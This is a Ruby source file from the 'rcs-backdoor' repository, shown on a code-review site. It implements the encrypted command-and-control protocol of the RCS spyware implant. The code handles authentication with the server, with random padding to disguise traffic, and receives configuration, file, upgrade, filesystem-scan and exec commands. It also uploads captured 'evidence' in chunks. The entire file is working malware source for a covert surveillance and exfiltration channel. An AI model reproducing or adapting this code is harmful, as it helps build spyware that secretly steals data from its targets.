hackedteam/rcs-backdoor

View on GitHub
lib/rcs-backdoor/command.rb

Summary

Maintainability
D
1 day
Test Coverage
#
# Mix-in module for the protocol
#

# Relatives
require_relative 'config.rb'

# RCS::Common
require 'rcs-common/trace'
require 'rcs-common/crypt'
require 'rcs-common/pascalize'

# System
require 'ostruct'
require 'securerandom'
require 'digest/sha1'
require 'base64'

module RCS
module Backdoor
  
module Command
  include Crypt
  include Tracer
  
  INVALID_COMMAND      = 0x00       # Don't use
  PROTO_OK             = 0x01       # OK
  PROTO_NO             = 0x02       # Nothing available
  PROTO_BYE            = 0x03       # The end of the protocol
  PROTO_ID             = 0x0f       # Identification of the target
  PROTO_CONF           = 0x07       # New configuration
  PROTO_UNINSTALL      = 0x0a       # Uninstall command
  PROTO_DOWNLOAD       = 0x0c       # List of files to be downloaded
  PROTO_UPLOAD         = 0x0d       # A file to be saved
  PROTO_UPGRADE        = 0x16       # Upgrade for the agent
  PROTO_EVIDENCE       = 0x09       # Upload of an evidence
  PROTO_EVIDENCE_CHUNK = 0x10       # Upload of an evidence (in chunks)
  PROTO_EVIDENCE_SIZE  = 0x0b       # Queue for evidence
  PROTO_FILESYSTEM     = 0x19       # List of paths to be scanned
  PROTO_PURGE          = 0x1a       # purge the log queue
  PROTO_EXEC           = 0x1b       # execution of commands during sync

  PLATFORMS = ["WINDOWS", "WINMO", "OSX", "IOS", "BLACKBERRY", "SYMBIAN", "ANDROID", "LINUX"]

  # the commands are depicted here: http://rcs-dev/trac/wiki/RCS_Sync_Proto_Rest

  def authenticate(backdoor)
    # use the correct auth packet
    (backdoor.scout or backdoor.soldier) ? authenticate_scout(backdoor) : authenticate_elite(backdoor)
  end

  # Authentication phase
  # ->  Crypt_C ( Kd, NonceDevice, BuildId, InstanceId, SubType, sha1 ( BuildId, InstanceId, SubType, Cb ) )   
  # <-  [ Crypt_C ( Ks ), Crypt_K ( NonceDevice, Response ) ]  |  SetCookie ( SessionCookie )  
  def authenticate_elite(backdoor)
    trace :info, "AUTH"
     
    # first part of the session key, chosen by the client
    # it will be used to derive the session key later along with Ks (server chosen)
    # and the Cb (pre-shared conf key)
    kd = SecureRandom.random_bytes(16)
    trace :debug, "Auth -- Kd: " << kd.unpack('H*').to_s
    
    # the client NOnce that has to be returned by the server
    # this is used to authenticate the server 
    # returning it crypted with the session key it will confirm the 
    # authenticity of the server 
    nonce = SecureRandom.random_bytes(16)
    trace :debug, "Auth -- Nonce: " << nonce.unpack('H*').to_s
        
    # the id and the type are padded to 16 bytes
    rcs_id = backdoor.id.ljust(16, "\x00")
    rcs_type = backdoor.type.ljust(16, "\x00")
    
    # backdoor identification
    # the server will calculate the same sha digest and authenticate the backdoor
    # since the conf key is pre-shared
    sha = Digest::SHA1.digest(rcs_id + backdoor.instance + rcs_type + backdoor.conf_key)
    trace :debug, "Auth -- sha: " << sha.unpack('H*').to_s
    
    # prepare and encrypt the message
    message = kd + nonce + rcs_id + backdoor.instance + rcs_type + sha    
    #trace "Auth -- message: " << message.unpack('H*').to_s
    enc_msg = aes_encrypt(message, backdoor.signature)
    #trace "Auth -- signature: " << backdoor.signature.unpack('H*').to_s
    #trace "Auth -- enc_message: " << enc_msg.unpack('H*').to_s

    # add randomness to the packet size
    enc_msg += randblock()

    # send the message and receive the response from the server
    # the transport layer will take care of the underlying cookie
    resp = @transport.message enc_msg

    # remove the random bytes at the end
    resp = normalize(resp)

    # sanity check
    raise "wrong auth response length" unless resp.length == 64
    
    # first 32 bytes are the Ks choosen by the server
    # decrypt it and store to create the session key along with Kd and Cb
    ks = resp.slice!(0..31)
    ks = aes_decrypt(ks, backdoor.signature)
    trace :debug, "Auth -- Ks: " << ks.unpack('H*').to_s
    
    # calculate the session key ->  K = sha1(Cb || Ks || Kd) 
    # we use a schema like PBKDF1
    # remember it for the entire session
    @session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
    trace :debug, "Auth -- K: " << @session_key.unpack('H*').to_s
    
    # second part of the server response contains the NOnce and the response
    tmp = aes_decrypt(resp, @session_key)
    
    # extract the NOnce and check if it is ok
    # this MUST be the same NOnce sent to the server, but since it is crypted
    # with the session key we know that the server knows Cb and thus is trusted
    rnonce = tmp.slice!(0..15)
    trace :debug, "Auth -- rnonce: " << rnonce.unpack('H*').to_s
    raise "Invalid NOnce" unless nonce == rnonce
    
    # extract the response
    response = tmp
    trace :debug, "Auth -- Response: " << response.unpack('H*').to_s
    
    # print the response
    trace :info, "Auth Response: OK" if response.unpack('I') == [PROTO_OK]
    if response.unpack('I') == [PROTO_UNINSTALL]
      trace :info, "UNINSTALL received"
      raise "UNINSTALL"
    end
    if response.unpack('I') == [PROTO_NO]
      trace :info, "NO received"
      raise "PROTO_NO: cannot continue"
    end
  end

  # Authentication phase
  # ->  Base64 ( Crypt_S ( Pver, Kd, sha(Kc | Kd), BuildId, InstanceId, Platform ) )
  # <-  Base64 ( Crypt_C ( Ks, sha(K), Response ) )  |  SetCookie ( SessionCookie )
  def authenticate_scout(backdoor)
    trace :info, "AUTH SCOUT"

    # the version of the protocol
    pver = [1].pack('I')

    # first part of the session key, chosen by the client
    # it will be used to derive the session key later along with Ks (server chosen)
    # and the Cb (pre-shared conf key)
    kd = SecureRandom.random_bytes(16)
    trace :debug, "Auth -- Kd: " << kd.unpack('H*').to_s

    # authentication sha
    sha = Digest::SHA1.digest(backdoor.conf_key + kd)
    trace :debug, "Auth -- sha: " << sha.unpack('H*').to_s

    # the id and the type are padded to 16 bytes
    rcs_id = backdoor.id.ljust(16, "\x00")
    demo = (backdoor.type.end_with? '-DEMO') ? "\x01" : "\x00"
    level = "\x01" if backdoor.scout
    level = "\x02" if backdoor.soldier
    flags = "\x00"

    platform = [PLATFORMS.index(backdoor.type.gsub(/-DEMO/, ''))].pack('C') + demo + level + flags

    trace :debug, "Auth -- #{backdoor.type} " << platform.unpack('H*').to_s

    # prepare and encrypt the message
    message = pver + kd + sha + rcs_id + backdoor.instance + platform
    #trace "Auth -- message: " << message.unpack('H*').to_s
    enc_msg = aes_encrypt(message, backdoor.signature, PAD_NOPAD)
    #trace "Auth -- signature: " << backdoor.signature.unpack('H*').to_s
    #trace "Auth -- enc_message: " << enc_msg.unpack('H*').to_s

    # add the random block
    enc_msg += SecureRandom.random_bytes(rand(128..1024))

    # add the base64 container
    enc_msg = Base64.strict_encode64(enc_msg)

    # send the message and receive the response from the server
    # the transport layer will take care of the underlying cookie
    resp = @transport.message enc_msg

    # remove the base64 container
    resp = Base64.strict_decode64(resp)

    # align to the multiple of 16
    resp = normalize(resp)

    # decrypt the message
    resp = aes_decrypt(resp, backdoor.conf_key, PAD_NOPAD)

    ks = resp.slice!(0..15)
    trace :debug, "Auth -- Ks: " << ks.unpack('H*').to_s

    # calculate the session key ->  K = sha1(Cb || Ks || Kd)
    # we use a schema like PBKDF1
    # remember it for the entire session
    @session_key = Digest::SHA1.digest(backdoor.conf_key + ks + kd)
    trace :debug, "Auth -- K: " << @session_key.unpack('H*').to_s

    check = resp.slice!(0..19)
    raise "Invalid session key (K)" if check != Digest::SHA1.digest(@session_key + ks)

    trace :debug, "Auth -- Response: " << resp.slice(0..3).unpack('H*').to_s

    # print the response
    trace :info, "Auth Response: OK" if resp.unpack('I') == [PROTO_OK]
    if resp.unpack('I') == [PROTO_UNINSTALL]
      trace :info, "UNINSTALL received"
      raise "UNINSTALL"
    end
    if resp.unpack('I') == [PROTO_NO]
      trace :info, "NO received"
      raise "PROTO_NO: cannot continue"
    end
  end


  # ->  Crypt_K ( PROTO_ID  [Version, UserId, DeviceId, SourceId] )
  # <-  Crypt_K ( PROTO_OK, Time, Availables )
  def send_id(backdoor)
    trace :info, "ID"
     
    # the array of available commands from server
    available = []
    
    # prepare the command
    message = [PROTO_ID].pack('I')
    
    # prepare the message 
    message += [backdoor.version].pack('I')
    message += backdoor.userid.pascalize + backdoor.deviceid.pascalize + backdoor.sourceid.pascalize

    #trace :debug, "Ident: " << message.unpack('H*').to_s

    # send the message and receive the response from the server
    enc = aes_encrypt_integrity(message, @session_key)
    resp = @transport.message enc

    # remove the random bytes at the end
    resp = normalize(resp)

    resp = aes_decrypt_integrity(resp, @session_key)
    #trace "ID -- response: " << resp.unpack('H*').to_s
    
    # parse the response
    command, tot, time, size, *list = resp.unpack('I2qI*')
    
    # fill the available array
    if command == PROTO_OK then
      trace :info, "ID Response: OK"
      now = Time.now
      diff_time = now.to_i - time
      trace :debug, "ID -- Server Time : " + time.to_s
      trace :debug, "ID -- Local  Time : " + now.to_i.to_s + " diff [#{diff_time}]"
      if size != 0 then
        trace :debug, "ID -- available(#{size}): " + list.to_s
        available = list
      end
    else
      trace :info, "ID Response: " + command.to_s
      raise "invalid response"
    end
    
    return available
  end
  

  # Protocol Conf
  # ->  Crypt_K ( PROTO_CONF )
  # <-  Crypt_K ( PROTO_NO | PROTO_OK [ Conf ] )
  def receive_config(backdoor)
    trace :info, "CONFIG"
    resp = send_command(PROTO_CONF)

    # decode the response
    command, size = resp.unpack('I2')
    if command == PROTO_OK then
      trace :info, "CONFIG -- #{size} bytes"
      # configuration parser
      config = RCS::Config.new(backdoor, resp[8..-1])
      config.dump_to_file
      # we have received the config correctly
      send_command(PROTO_CONF, [PROTO_OK].pack('I'))
    else
      trace :info, "CONFIG -- no new conf"  
    end
  end
  
  # Protocol Upload
  # ->  Crypt_K ( PROTO_UPLOAD )
  # <-  Crypt_K ( PROTO_NO | PROTO_OK [ left, filename, content ] )  
  def receive_uploads
    trace :info, "UPLOAD"
    resp = send_command(PROTO_UPLOAD)

    # decode the response
    command, tot, left, size = resp.unpack('I4')
    
    if command == PROTO_OK then
      filename = resp[12, resp.length].unpascalize
      bytes = resp[16 + size, resp.length].unpack('I')
      trace :info, "UPLOAD -- [#{filename}] #{bytes} bytes"
      
      # recurse the request if there are other files to request
      receive_uploads if left != 0
    else
      trace :info, "UPLOAD -- No uploads for me"
    end
  end

  # Protocol Upgrade
  # ->  Crypt_K ( PROTO_UPGRADE )
  # <-  Crypt_K ( PROTO_NO | PROTO_OK [ left, filename, content ] )
  def receive_upgrade
    trace :info, "UPGRADE"
    resp = send_command(PROTO_UPGRADE)

    # decode the response
    command, tot, left, size = resp.unpack('I4')
    
    if command == PROTO_OK then
      filename = resp[12, resp.length].unpascalize
      bytes = resp[16 + size, resp.length].unpack('I')
      trace :info, "UPGRADE -- [#{filename}] #{bytes} bytes"
      
      # recurse the request if there are other files to request
      receive_upgrade if left != 0
    else
      trace :info, "UPGRADE -- No upgrade for me"
    end
  end
  
  # Protocol Download
  # ->  Crypt_K ( PROTO_DOWNLOAD )   
  # <-  Crypt_K ( PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]] )  
  def receive_downloads
    trace :info, "DOWNLOAD"
    resp = send_command(PROTO_DOWNLOAD)
    
    # decode the response
    command, tot, num = resp.unpack('I3')

    if command == PROTO_OK then
      trace :info, "DOWNLOAD : #{num} are available"
      list = resp.slice(12, resp.length)
      # print the list of downloads
      list.unpascalize_ary.each do |pattern|
        trace :info, "DOWNLOAD -- [#{pattern}]"
      end
    else
      trace :info, "DOWNLOAD -- No downloads for me"
    end
  end

  # Protocol Filesystem
  # ->  Crypt_K ( PROTO_FILESYSTEM )   
  # <-  Crypt_K ( PROTO_NO | PROTO_OK [ numElem,[ depth1, dir1, depth2, dir2, ... ]] )
  def receive_filesystems
    trace :info, "FILESYSTEM"
    resp = send_command(PROTO_FILESYSTEM)
    
    # decode the response
    command, tot, num = resp.unpack('I3')

    if command == PROTO_OK then
      trace :info, "FILESYSTEM : #{num} are available"
      list = resp.slice(12, resp.length)
      # print the list of downloads
      buffer = list
      begin
        depth, len = buffer.unpack('I2')
        # len of the current token
        len += 8
        # unpascalize the token
        str = buffer[4, buffer.length].unpascalize
        trace :info, "FILESYSTEM -- [#{depth}][#{str}]"
        # move the pointer after the token
        buffer = buffer.slice(len, list.length)
      end while buffer.length != 0
    else
      trace :info, "FILESYSTEM -- No filesystem for me"
    end
  end


  # Protocol Evidence
  # ->  Crypt_K ( PROTO_EVIDENCE_SIZE [ num, size ] )
  # <-  Crypt_K ( PROTO_OK )
  def send_evidence_size(evidences)

    total_size = 0
    evidences.each do |e|
      total_size += e.size
    end

    trace :info, "EVIDENCE_SIZE: #{evidences.size} (#{total_size.to_s_bytes})"

    # prepare the message
    message = [PROTO_EVIDENCE_SIZE].pack('I') + [evidences.size].pack('I') + [total_size].pack('Q')
    enc_msg = aes_encrypt_integrity(message, @session_key)
    # send the message and receive the response
    @transport.message enc_msg
  end
  
  # Protocol Evidence
  # ->  Crypt_K ( PROTO_EVIDENCE [ size, content ] )
  # <-  Crypt_K ( PROTO_OK | PROTO_NO )   
  def send_evidence(evidences)
    
    return if evidences.empty?
    
    # take the first log
    evidence = evidences.shift

    # if the evidence is big, split in chunks
    if evidence.size > 100_000
      send_evidence_chunk(evidence)
    else

      # prepare the message
      message = [PROTO_EVIDENCE].pack('I') + [evidence.size].pack('I') + evidence.binary
      enc_msg = aes_encrypt_integrity(message, @session_key)
      # send the message and receive the response
      resp = @transport.message enc_msg

      # remove the random bytes at the end
      resp = normalize(resp)

      resp = aes_decrypt_integrity(resp, @session_key)

      if resp.unpack('I') == [PROTO_OK]
        trace :info, "EVIDENCE -- [#{evidence.name}] #{evidence.size} bytes sent. #{evidences.size} left"
      else
        trace :info, "EVIDENCE -- problems from server"
        return
      end
    end

    # recurse for the next log to be sent
    send_evidence evidences unless evidences.empty?
  end

  # Protocol Evidence (with resume in chunk)
  # -> PROTO_EVIDENCE_CHUNK [ id, base, chunk, size, content ]
  # <- PROTO_OK [ base ] | PROTO_NO
  def send_evidence_chunk(evidence)

    id = 0
    base = 0
    chunk = 50_000

    binary = StringIO.open(evidence.binary, "rb")

    while buff = binary.read(chunk)
      chunk = buff.bytesize

      # prepare the message
      message = [PROTO_EVIDENCE_CHUNK].pack('I') +
                [id].pack('I') + [base].pack('I') + [chunk].pack('I') + [evidence.size].pack('I') +
                buff

      # send the message and receive the response
      enc_msg = aes_encrypt_integrity(message, @session_key)
      resp = @transport.message enc_msg
      # remove the random bytes at the end
      resp = normalize(resp)
      resp = aes_decrypt_integrity(resp, @session_key)

      if resp.slice!(0..3).unpack('I') == [PROTO_OK]
        trace :info, "EVIDENCE -- [#{evidence.name}] #{base}/#{chunk} bytes sent (total #{evidence.size})"
        dummy, base = resp.unpack('I*')
        trace :info, "EVIDENCE -- [#{evidence.name}] acknowledged base: #{base}"
      else
        trace :info, "EVIDENCE -- problems from server"
        return
      end
    end

  end

  # Protocol Purge
  # ->  Crypt_K ( PROTO_PURGE )
  # <-  Crypt_K ( PROTO_NO | PROTO_OK [ time, size ] )
  def receive_purge
    trace :info, "PURGE"
    resp = send_command(PROTO_PURGE)

    # decode the response
    command, len, time, size = resp.unpack('IIQI')

    if command == PROTO_OK
      trace :info, "PURGE -- [#{Time.at(time)}] #{size} bytes"
    else
      trace :info, "PURGE -- No purge for me"
    end
  end

  # Protocol Exec
  # ->  Crypt_K ( PROTO_EXEC )
  # <-  Crypt_K ( PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]] )
  def receive_exec
    trace :info, "EXEC"
    resp = send_command(PROTO_EXEC)

    # decode the response
    command, tot, num = resp.unpack('I3')

    if command == PROTO_OK then
      trace :info, "EXEC : #{num} are available"
      list = resp.slice(12, resp.length)
      # print the list of downloads
      list.unpascalize_ary.each do |command|
        trace :info, "EXEC -- [#{command}]"
      end
    else
      trace :info, "EXEC -- No downloads for me"
    end
  end

  # Protocol End
  # ->  Crypt_K ( PROTO_BYE )   
  # <-  Crypt_K ( PROTO_OK )  
  def bye
    trace :info, "BYE"
    resp = send_command(PROTO_BYE)
    
    trace :info, "BYE Response: OK" if resp.unpack('I') == [PROTO_OK]
  end
  
  # helper method
  def send_command(command, payload = nil)
    message = [command].pack('I')
    message += payload unless payload.nil?
    
    # encrypt the message
    enc_msg = aes_encrypt_integrity(message, @session_key)
    enc_msg += randblock()

    # send the message and receive the response
    resp = @transport.message enc_msg

    # remove the random bytes at the end
    resp = normalize(resp)

    # decrypt it
    return aes_decrypt_integrity(resp, @session_key)
  end

  # returns a random block of random size < 16
  def randblock()
    return SecureRandom.random_bytes(SecureRandom.random_number(16))
  end

  # normalize a message, cutting at the shorter size multiple of 16
  def normalize(content)
    newlen = content.length - (content.length % 16)
    content[0..newlen-1]
  end

end

end # Backdoor::
end # RCS::